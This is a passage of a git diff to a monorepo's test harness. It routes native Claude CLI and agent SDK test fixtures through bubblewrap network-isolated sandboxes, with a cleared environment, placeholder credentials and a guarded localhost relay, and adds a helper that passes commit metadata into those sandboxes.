"../../../../scripts/test-native-guard.ts"; /** Real locked CLI, fake loopback Messages origin, offline namespace supplied by caller. */ import { createFixtureWorkerStartupView } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; diff --git a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts index 65837c924b..23defa2b85 100644 --- a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real SDK-selected CLI in the production worker; caller supplies an offline namespace. */ import { query } from "@anthropic-ai/claude-agent-sdk"; diff --git a/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts b/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts index 92dbf1ecc2..e4a05e545b 100644 --- a/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Installed CLI/SDK, isolated by the caller's offline network namespace. */ import { mkdirSync, writeFileSync, readFileSync } from "node:fs"; diff --git a/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts b/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts index 26a6b1ba4c..67fe84f269 100644 --- a/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Narrow #2049 proof; follows the offline CLI pattern from #2053/#2047. */ import { cpSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; diff --git a/packages/ui-backend-claude/tests/host-relay-native.test.ts b/packages/ui-backend-claude/tests/host-relay-native.test.ts index 6cc94b9f91..cb2d0d056c 100644 --- a/packages/ui-backend-claude/tests/host-relay-native.test.ts +++ b/packages/ui-backend-claude/tests/host-relay-native.test.ts @@ -1,3 +1,4 @@ +import { nativeNamespaceEnvironment } from "../../../scripts/test-native-guard.ts"; /** Native protocol proof, not ordinary-worker launcher or host-filesystem isolation proof. */ import { expect, test } from "bun:test"; import { createHash } from "node:crypto"; @@ -15,7 +16,7 @@ test("installed native first-party relay preserves resumed history, per-turn mod // No test fetch instrumentation covers the native executable. Its entire // process tree therefore runs with no external route and no ambient env. const fixture = new URL("./fixtures/host-relay-probe.ts", import.meta.url).pathname; - const child = Bun.spawn(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", + const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: 25_000, }); diff --git a/packages/ui-backend-claude/tests/native-route-qualification.test.ts b/packages/ui-backend-claude/tests/native-route-qualification.test.ts index 1fba9ce677..998eb90f2c 100644 --- a/packages/ui-backend-claude/tests/native-route-qualification.test.ts +++ b/packages/ui-backend-claude/tests/native-route-qualification.test.ts @@ -1,8 +1,9 @@ +import { nativeNamespaceEnvironment } from "../../../scripts/test-native-guard.ts"; import { expect, test } from "bun:test"; import { resolve } from "node:path"; const root = resolve(import.meta.dir, "../../.."); function probe(fixture: string, mode?: string): Record { - const child = Bun.spawnSync(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", + const child = Bun.spawnSync(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--tmpfs", "/opt", "--proc", "/proc", "--dev", "/dev", process.execPath, "--preload", resolve(root, "scripts/test-network-child-preload.ts"), resolve(import.meta.dir, "fixtures", fixture), ...(mode ? [mode] : [])], { cwd: root, stdin: "ignore", stdout: "pipe", stderr: "pipe", timeout: 25000 }); diff --git a/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts b/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts index f32046704d..6ca6f887b9 100644 --- a/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts +++ b/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts @@ -1,3 +1,4 @@ +import { nativeNamespaceEnvironment } from "../../../scripts/test-native-guard.ts"; /** Production ordinary spawn/state/native composition; fixture storage is not Btrfs qualification. */ import { expect, test } from "bun:test"; import { createHash } from "node:crypto"; @@ -15,7 +16,7 @@ test.each(["strict", "governed"] as const)("ordinary %s spawn preserves native h // No test fetch instrumentation covers the native executable. Its entire // process tree therefore runs with no external route and no ambient env. const fixture = new URL("./fixtures/ordinary-host-relay-probe.ts", import.meta.url).pathname; - const child = Bun.spawn(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", + const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, profile], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: 25_000, }); diff --git a/packages/ui-backend-claude/tests/sdk-host-relay.test.ts b/packages/ui-backend-claude/tests/sdk-host-relay.test.ts index 08a6293a6a..7bcaced354 100644 --- a/packages/ui-backend-claude/tests/sdk-host-relay.test.ts +++ b/packages/ui-backend-claude/tests/sdk-host-relay.test.ts @@ -1,3 +1,4 @@ +import { nativeNamespaceEnvironment } from "../../../scripts/test-native-guard.ts"; import { SDK_RELAY_PROFILE_TIMEOUT_MS, SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, SDK_RELAY_CANCELLATION_TIMEOUT_MS } from "./fixtures/sdk-host-relay-limits.js"; /** Full SDK construction, native startup and prepared ordinary transport; fixture storage is not Btrfs qualification. */ import { expect, test } from "bun:test"; @@ -16,7 +17,7 @@ test.each(["strict", "governed"] as const)("prepared %s SDK turn preserves nativ // No test fetch instrumentation covers the native executable. Its entire // process tree therefore runs with no external route and no ambient env. const fixture = new URL("./fixtures/sdk-host-relay-probe.ts", import.meta.url).pathname; - const child = Bun.spawn(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", + const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, profile], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_PROFILE_TIMEOUT_MS, }); @@ -75,7 +76,7 @@ test.each(["strict", "governed"] as const)("prepared %s SDK turn preserves nativ test("prepared SDK native auto-allowed Bash still honors the existing per-use refusal", async () => { const fixture = new URL("./fixtures/sdk-host-relay-probe.ts", import.meta.url).pathname; - const child = Bun.spawn(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", + const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, "governed", "permission"], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, }); @@ -94,7 +95,7 @@ test("prepared SDK native auto-allowed Bash still honors the existing per-use re test.each(["managed", "project"] as const)("prepared SDK %s credential or transport override withholds the native prompt", async source => { const fixture = new URL("./fixtures/sdk-host-relay-probe.ts", import.meta.url).pathname; - const child = Bun.spawn(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", + const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, "governed", source], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, }); @@ -111,7 +112,7 @@ test.each(["managed", "project"] as const)("prepared SDK %s credential or transp test("prepared SDK initializes with no projected host credential store before any prompt", async () => { const fixture = new URL("./fixtures/sdk-host-relay-probe.ts", import.meta.url).pathname; - const child = Bun.spawn(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", + const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, "governed", "inspect"], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, }); diff --git a/packages/ui-backend-claude/tests/subscription-billing.test.ts b/packages/ui-backend-claude/tests/subscription-billing.test.ts index 93dda17aa5..e0540a893d 100644 --- a/packages/ui-backend-claude/tests/subscription-billing.test.ts +++ b/packages/ui-backend-claude/tests/subscription-billing.test.ts @@ -114,7 +114,7 @@ function arrange(setup: Setup): { brainPath: string; home: string } { DECLARED_TOKEN_ENV: DECLARED_TOKEN, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", BRAIN_UI_SUBPROCESS_ENV_EXTRA: - "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC,ANTHROPIC_CUSTOM_HEADERS", + "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC,ANTHROPIC_CUSTOM_HEADERS,ANTHROPIC_BASE_URL", }); if (setup.customHeaders !== undefined) process.env.ANTHROPIC_CUSTOM_HEADERS = setup.customHeaders; if (setup.oauth === undefined) delete process.env.CLAUDE_CODE_OAUTH_TOKEN; diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index ad459cd1fa..1d544eaa11 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { query } from "@anthropic-ai/claude-agent-sdk"; import { defaultIdentityPhase } from "./default-identity-phases.js"; import { installDbRepeatObservation, repeatWarmIndex } from "./db-repeat-observation.js"; diff --git a/packages/ui-server/tests/bundled-claude.test.ts b/packages/ui-server/tests/bundled-claude.test.ts index 227af02bc5..84c6f84921 100644 --- a/packages/ui-server/tests/bundled-claude.test.ts +++ b/packages/ui-server/tests/bundled-claude.test.ts @@ -92,7 +92,7 @@ function arrangeHost(extra: Record = {}): string { ANTHROPIC_API_KEY: API_KEY, ANTHROPIC_AUTH_TOKEN: AUTH_TOKEN, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", - BRAIN_UI_SUBPROCESS_ENV_EXTRA: "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", + BRAIN_UI_SUBPROCESS_ENV_EXTRA: "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC,ANTHROPIC_BASE_URL", ...extra, }); return brainPath; diff --git a/scripts/fixtures/claude-core-default-launch.py b/scripts/fixtures/claude-core-default-launch.py index acdefa716e..70ea7fff1d 100644 --- a/scripts/fixtures/claude-core-default-launch.py +++ b/scripts/fixtures/claude-core-default-launch.py @@ -2,7 +2,7 @@ import argparse,pathlib,os,subprocess p=argparse.ArgumentParser();p.add_argument('--bun',required=True);p.add_argument('--output',required=True);a=p.parse_args() source=pathlib.Path(__file__).resolve().parents[2];out=pathlib.Path(a.output).resolve();out.mkdir(mode=0o700,parents=True,exist_ok=False) -env={'PATH':str(pathlib.Path(a.bun).parent)+':/usr/bin:/bin','HOME':'/tmp/offline-home','BRAIN_CORE_DEFAULT_OFFLINE':'1',**{k:os.environ[k] for k in ['GITHUB_ACTIONS','RUNNER_ENVIRONMENT'] if k in os.environ}} +env={'PATH':str(pathlib.Path(a.bun).parent)+':/usr/bin:/bin','HOME':'/tmp/offline-home','BRAIN_CORE_DEFAULT_OFFLINE':'1',**{k:os.environ[k] for k in ['GITHUB_ACTIONS','RUNNER_ENVIRONMENT','BRAIN_NATIVE_TEST_HEAD'] if k in os.environ}} cmd=['bwrap','--unshare-all','--die-with-parent','--new-session','--proc','/proc','--dev','/dev','--tmpfs','/tmp','--dir','/tmp/offline-home'] for d in ['/usr','/bin','/lib','/lib64','/etc']: if pathlib.Path(d).exists():cmd+=['--ro-bind',d,d] diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 81806295fe..ce9651fb18 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -11,6 +11,10 @@ const ROOT = resolve(import.meta.dir, ".."); // Fixed Git metadata only. Discovery refusal must not recurse through admission. const metadataSpawnSync = Bun.spawnSync.bind(Bun); const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; +const WORKER_RUNTIME_ENV = new Set(["HOME", "CLAUDE_CONFIG_DIR", "LANG", "LC_ALL", "TERM", "SHELL", "USER", "LOGNAME", "TMPDIR", + "XDG_CONFIG_HOME", "XDG_CACHE_HOME", "XDG_DATA_HOME", "XDG_STATE_HOME", "XDG_RUNTIME_DIR", + "BRAIN_ROOT", "BRAIN_WORKER_DATA_ROOT", "BRAIN_WORKER_CONFIG_ROOT", "BRAIN_WORKER_SCRATCH", "BRAIN_WITHHELD_KEYS", "BRAIN_PROVIDER_RELAY_SOCKET", + "ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY"]); const within = (root: string, path: string) => path === root || path.startsWith(`${root}/`); let qualified = false; let bwrapExecutable = "bwrap", straceExecutable = "strace"; @@ -22,7 +26,7 @@ export function assertNoNativeRefusals(): void { throw new Error("Offline native Claude isolation refused a launch during this test"); } let head: string | undefined; -function receiptHead(): string { +export function nativeTestHead(): string { if (head) return head; let value = ""; try { @@ -33,6 +37,15 @@ function receiptHead(): string { : /^[0-9a-f]{40}$/.test(process.env.BRAIN_NATIVE_TEST_HEAD ?? "") ? process.env.BRAIN_NATIVE_TEST_HEAD! : "unavailable"; } +/** Metadata survives an outer fixture namespace's deliberate clearenv. */ +export function nativeNamespaceEnvironment(): string[] { + const values: Record = { BRAIN_NATIVE_TEST_HEAD: nativeTestHead() }; + if (process.env.GITHUB_ACTIONS === "true" && process.env.RUNNER_ENVIRONMENT === "github-hosted") { + values.GITHUB_ACTIONS = "true"; values.RUNNER_ENVIRONMENT = "github-hosted"; + } + return Object.entries(values).flatMap(([name, value]) => ["--setenv", name, value]); +} + // Resolve from the installed SDK, exactly as its native package lookup does. // This runs before test mocks can replace module resolution. No executable runs. const installedRuntimes: { path: string; size: number }[] = []; @@ -114,7 +127,7 @@ function refuse(reason: string): never { denied++; // Fixed classifications only: arguments, settings, credentials and addresses // never enter a denial receipt. - console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason, head: receiptHead() })); + console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason, head: nativeTestHead() })); throw new Error(`Offline native Claude refused before launch: ${reason}`); } @@ -176,6 +189,7 @@ function syntheticCredentials(env: Record): Record = {}; if (env.ANTHROPIC_API_KEY) result.ANTHROPIC_API_KEY = /^sk-ant-api03-([a-z])\1{94}AA$/.test(env.ANTHROPIC_API_KEY) ? env.ANTHROPIC_API_KEY : "offline-fixture"; if (/^sk-ant-oat01-([a-z])\1{94}AA$/.test(env.CLAUDE_CODE_OAUTH_TOKEN ?? "")) result.CLAUDE_CODE_OAUTH_TOKEN = env.CLAUDE_CODE_OAUTH_TOKEN!; + if (/^sk-ant-declared-t{60}$/.test(env.ANTHROPIC_AUTH_TOKEN ?? "")) result.ANTHROPIC_AUTH_TOKEN = env.ANTHROPIC_AUTH_TOKEN!; return result; } @@ -201,7 +215,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c try { trace = readFileSync(log, "utf8"); } catch { /* Missing evidence is a failed receipt. */ } const nativeLaunched = nativeExecObserved(trace, expected); if (!nativeLaunched) denied++; - receipt = { kind: "native-offline-audit", head: receiptHead(), nativeLaunched, success: nativeLaunched, + receipt = { kind: "native-offline-audit", head: nativeTestHead(), nativeLaunched, success: nativeLaunched, ...(!nativeLaunched ? { reason: "native exec was not observed" } : {}), deniedConnects: deniedNativeConnects(trace) }; console.error(JSON.stringify(receipt)); return receipt; @@ -231,7 +245,7 @@ export function startNativeTestRelay(upstream: string | undefined) { if (url.origin !== "http://localhost" || !url.pathname.startsWith("/") || url.pathname.startsWith("//") || url.pathname.includes("\\") || outbound.origin !== target.origin) { denied++; - console.error(JSON.stringify({ kind: "native-offline-route-denial", success: false, reason: "unintended native destination", head: receiptHead() })); + console.error(JSON.stringify({ kind: "native-offline-route-denial", success: false, reason: "unintended native destination", head: nativeTestHead() })); return new Response("Offline native destination refused", { status: 403 }); } // A redirect is returned to the isolated native process; it cannot make a @@ -262,8 +276,8 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const inheritedSocket = env.ANTHROPIC_UNIX_SOCKET; const inheritedOrigin = inheritedSocket && ownedSocketOrigin(inheritedSocket); if (inheritedSocket && !inheritedOrigin) refuse("pre-existing native relay is not guard-owned"); - if (inheritedOrigin && (!scriptedRoute.getStore() || normalizedOrigin(inheritedOrigin) !== normalizedOrigin(scriptedRoute.getStore()!.origin))) refuse("native relay did not match scripted authority"); - const bridge = startNativeTestRelay(versionOnly ? "http://127.0.0.1:1" : inheritedOrigin ?? scriptedRoute.getStore()?.origin ?? env.ANTHROPIC_BASE_URL); + if (inheritedOrigin && (!currentScriptedRoute() || normalizedOrigin(inheritedOrigin) !== normalizedOrigin(currentScriptedRoute()!.origin))) refuse("native relay did not match scripted authority"); + const bridge = startNativeTestRelay(versionOnly ? "http://127.0.0.1:1" : inheritedOrigin ?? env.ANTHROPIC_BASE_URL ?? currentScriptedRoute()?.origin); try { command = resolveExecutable(command, options); const executable = realpathSync(command); @@ -298,13 +312,22 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { } const scriptedRoute = new AsyncLocalStorage | undefined>(); +const declaredRoutes = new Map>(); +function currentScriptedRoute(): Readonly<{ origin: string }> | undefined { + // SDK/module async resources can predate the fixture scope. A process that + // declared exactly one immutable authority has no alternate destination to + // select. A second distinct declaration permanently disables this fallback. + return scriptedRoute.getStore() ?? (declaredRoutes.size === 1 ? declaredRoutes.values().next().value : undefined); +} /** Test code pins its scripted service before building a restricted turn. */ export function nativeScriptedService(origin: string): () => void { const target = new URL(origin); if (target.protocol !== "http:" || !["127.0.0.1", "localhost", "[::1]"].includes(target.hostname) || !target.port || target.username || target.password || target.pathname !== "/" || target.search || target.hash) refuse("invalid scripted route authority"); const previous = scriptedRoute.getStore(); - scriptedRoute.enterWith(Object.freeze({ origin: target.origin })); + const authority = Object.freeze({ origin: target.origin }); + declaredRoutes.set(target.origin, authority); + scriptedRoute.enterWith(authority); return () => scriptedRoute.enterWith(previous); } @@ -330,7 +353,7 @@ function rememberRelay(path: string, origin: string): void { } export function guardNativeHttpListen(server: object, args: unknown[]): void { - const route = scriptedRoute.getStore(); + const route = currentScriptedRoute(); const first = args[0] as string | { path?: string } | undefined; const path = typeof first === "string" ? first : first?.path; if (!route || !path?.startsWith("/")) return; @@ -345,7 +368,7 @@ export function guardNativeHttpEvent(server: object, event: unknown, invoke: () /** The guard creates the server and binds every transport in its handler. */ export function guardNativeRelayServer(options: any, create: (options: any) => any): any { - const route = scriptedRoute.getStore(); + const route = currentScriptedRoute(); if (!route || typeof options.unix !== "string" || typeof options.fetch !== "function") return create(options); const original = options.fetch; const server = create({ ...options, fetch: function(this: unknown, ...args: unknown[]) { @@ -369,7 +392,7 @@ export function assertNativeRelayDestination(url: URL): void { if (requested.hostname === "localhost") requested.hostname = "127.0.0.1"; if (requested.origin === target.origin) return; denied++; - console.error(JSON.stringify({ kind: "native-offline-route-denial", success: false, reason: "unintended relay destination", head: receiptHead() })); + console.error(JSON.stringify({ kind: "native-offline-route-denial", success: false, reason: "unintended relay destination", head: nativeTestHead() })); throw new Error("Native relay refused an unintended destination"); } @@ -451,7 +474,7 @@ export function nativeWorkerBoundary(env: Record): { // Even ordinary test workers use a private network and a single bridge. // Do not rely on SDK options or the production profile to establish this. const socket = launch.env?.ANTHROPIC_UNIX_SOCKET; - const route = scriptedRoute.getStore(); + const route = currentScriptedRoute(); const ownedOrigin = socket && admittedRelay(workerArgv, socket); if (socket && !ownedOrigin) refuse("pre-existing native relay is not guard-owned"); if (ownedOrigin && (!route || normalizedOrigin(ownedOrigin) !== normalizedOrigin(route.origin))) refuse("native relay did not match scripted authority"); @@ -460,9 +483,11 @@ export function nativeWorkerBoundary(env: Record): { try { for (let i = bwrap + 1; i < workerArgv.indexOf("--", bwrap); i++) { if (workerArgv[i] === "--ro-bind" && workerArgv[i + 1] === "/" && workerArgv[i + 2] === "/") workerArgv.splice(i--, 3); + else if (workerArgv[i] === "--setenv" && !WORKER_RUNTIME_ENV.has(workerArgv[i + 1]!)) workerArgv.splice(i--, 3); } - workerArgv.splice(bwrap + 1, 0, "--unshare-net", ...systemMounts(), ...testRuntimeMounts(), "--ro-bind", process.execPath, process.execPath); + workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", ...systemMounts(), ...testRuntimeMounts(), "--ro-bind", process.execPath, process.execPath); const pinned = { ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: socket && ownedOrigin ? socket : "/tmp/native-relay/relay.sock", + PATH: `${dirname(process.execPath)}:/usr/bin:/bin`, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1", ANTHROPIC_API_KEY: "", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "", ...(ownedOrigin ? relayCredentialPlaceholders(launch.env ?? {}) : syntheticCredentials(launch.env ?? {})) }; const separator = workerArgv.indexOf("--", bwrap); diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index b911d7197a..3eec7e0a48 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -1,5 +1,5 @@ /** Test-only subprocess and transport safeguards; never imported by a published package. */ -import { guardNativeHttpListen, guardNativeHttpEvent, guardNativeRelayServer, assertNativeRelayDestination, assertNativeRelaySocket, assertNativeRelayUnix, assertNoNativeRefusals, nativeIsolationFailed, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; +import { guardNativeHttpListen, guardNativeHttpEvent, guardNativeRelayServer, assertNativeRelayDestination, assertNativeRelaySocket, assertNativeRelayUnix, assertNoNativeRefusals, nativeIsolationFailed, nativeTestHead, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; import { basename, join } from "node:path"; import { Server as HttpServer } from "node:http"; import { isIP, Socket } from "node:net"; @@ -179,8 +179,8 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { args[0] = Array.isArray(first) ? boundary.argv : { ...first, cmd: boundary.argv }; } const workerBoundary = boundary ? undefined : nativeWorkerBoundary(testGitEnvironment({ ...options.env ?? process.env, - ...(/^[0-9a-f]{40}$/.test(process.env.BRAIN_NATIVE_TEST_HEAD ?? "") ? { BRAIN_NATIVE_TEST_HEAD: process.env.BRAIN_NATIVE_TEST_HEAD } : {}), - ...(process.env.GITHUB_ACTIONS === "true" ? { GITHUB_ACTIONS: "true", RUNNER_ENVIRONMENT: process.env.RUNNER_ENVIRONMENT } : {}) })); + ...(options.env?.BRAIN_NATIVE_TEST_HEAD === undefined ? { BRAIN_NATIVE_TEST_HEAD: nativeTestHead() } : {}), + ...(options.env?.GITHUB_ACTIONS === undefined && process.env.GITHUB_ACTIONS === "true" ? { GITHUB_ACTIONS: "true", RUNNER_ENVIRONMENT: options.env?.RUNNER_ENVIRONMENT ?? process.env.RUNNER_ENVIRONMENT } : {}) })); const inherited = inheritWorkspaceLease({ ...options, env: boundary?.env ?? workerBoundary!.env }, defaultStderr, pipeOnly); if (Array.isArray(first)) args[1] = inherited; else args[0] = { ...inherited, cmd: (args[0] as { cmd: string[] }).cmd }; diff --git a/tests/docker-bind-stability.test.ts b/tests/docker-bind-stability.test.ts index 17bc642662..29bd90aab2 100644 --- a/tests/docker-bind-stability.test.ts +++ b/tests/docker-bind-stability.test.ts @@ -5,6 +5,7 @@ import { workerIdentityDockerArgs } from "../scripts/prove-worker-identity.ts"; import { captureRenderArgs } from "../scripts/capture.ts"; import { workspaceLeaseDockerArgs } from "../scripts/workspace-lease-container.ts"; import { nativeGuardEnvironment } from "../scripts/native-proof/guard-environment.ts"; +import { nativeNamespaceEnvironment } from "../scripts/test-native-guard.ts"; test("native containers carry an exact head without promoting local execution to hosted", () => { const saved = { GITHUB_ACTIONS: process.env.GITHUB_ACTIONS, RUNNER_ENVIRONMENT: process.env.RUNNER_ENVIRONMENT }; @@ -13,8 +14,11 @@ test("native containers carry an exact head without promoting local execution to const local = nativeGuardEnvironment(); expect(local).toHaveLength(1); expect(local[0]).toMatch(/^--env=BRAIN_NATIVE_TEST_HEAD=[0-9a-f]{40}$/); + expect(nativeNamespaceEnvironment()).toEqual(["--setenv", "BRAIN_NATIVE_TEST_HEAD", local[0]!.split("=").at(-1)!]); process.env.GITHUB_ACTIONS = "true"; process.env.RUNNER_ENVIRONMENT = "github-hosted"; expect(nativeGuardEnvironment()).toEqual([...local, "--env=GITHUB_ACTIONS=true", "--env=RUNNER_ENVIRONMENT=github-hosted"]); + expect(nativeNamespaceEnvironment()).toEqual(["--setenv", "BRAIN_NATIVE_TEST_HEAD", local[0]!.split("=").at(-1)!, + "--setenv", "GITHUB_ACTIONS", "true", "--setenv", "RUNNER_ENVIRONMENT", "github-hosted"]); } finally { for (const [key, value] of Object.entries(saved)) { if (value === undefined) delete process.env[key]; else process.env[key] = value; diff --git a/tests/fixtures/autonomous-app-probe.ts b/tests/fixtures/autonomous-app-probe.ts index 71fe04066d..2b6c0371eb 100644 --- a/tests/fixtures/autonomous-app-probe.ts +++ b/tests/fixtures/autonomous-app-probe.ts @@ -1,3 +1,4 @@ +import "../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; /** * The whole app pipeline with an installed first-party runtime (#689 AC1 and diff --git a/tests/fixtures/autonomous-containment-probe.ts b/tests/fixtures/autonomous-containment-probe.ts index af5f53e278..09affb7d51 100644 --- a/tests/fixtures/autonomous-containment-probe.ts +++ b/tests/fixtures/autonomous-containment-probe.ts @@ -1,3 +1,4 @@ +import "../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { spyOn } from "bun:test"; import * as startup from "../../packages/ui-sdk/src/server/worker-startup-view.js"; diff --git a/tests/fixtures/autonomous-dispatch-probe.ts b/tests/fixtures/autonomous-dispatch-probe.ts index 515cdf5d92..abcb52d70c 100644 --- a/tests/fixtures/autonomous-dispatch-probe.ts +++ b/tests/fixtures/autonomous-dispatch-probe.ts @@ -1,3 +1,4 @@ +import "../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; import { Database } from "bun:sqlite"; diff --git a/tests/fixtures/autonomous-runtime-probe.ts b/tests/fixtures/autonomous-runtime-probe.ts index 64e6b656c9..46a6b3fcc0 100644 --- a/tests/fixtures/autonomous-runtime-probe.ts +++ 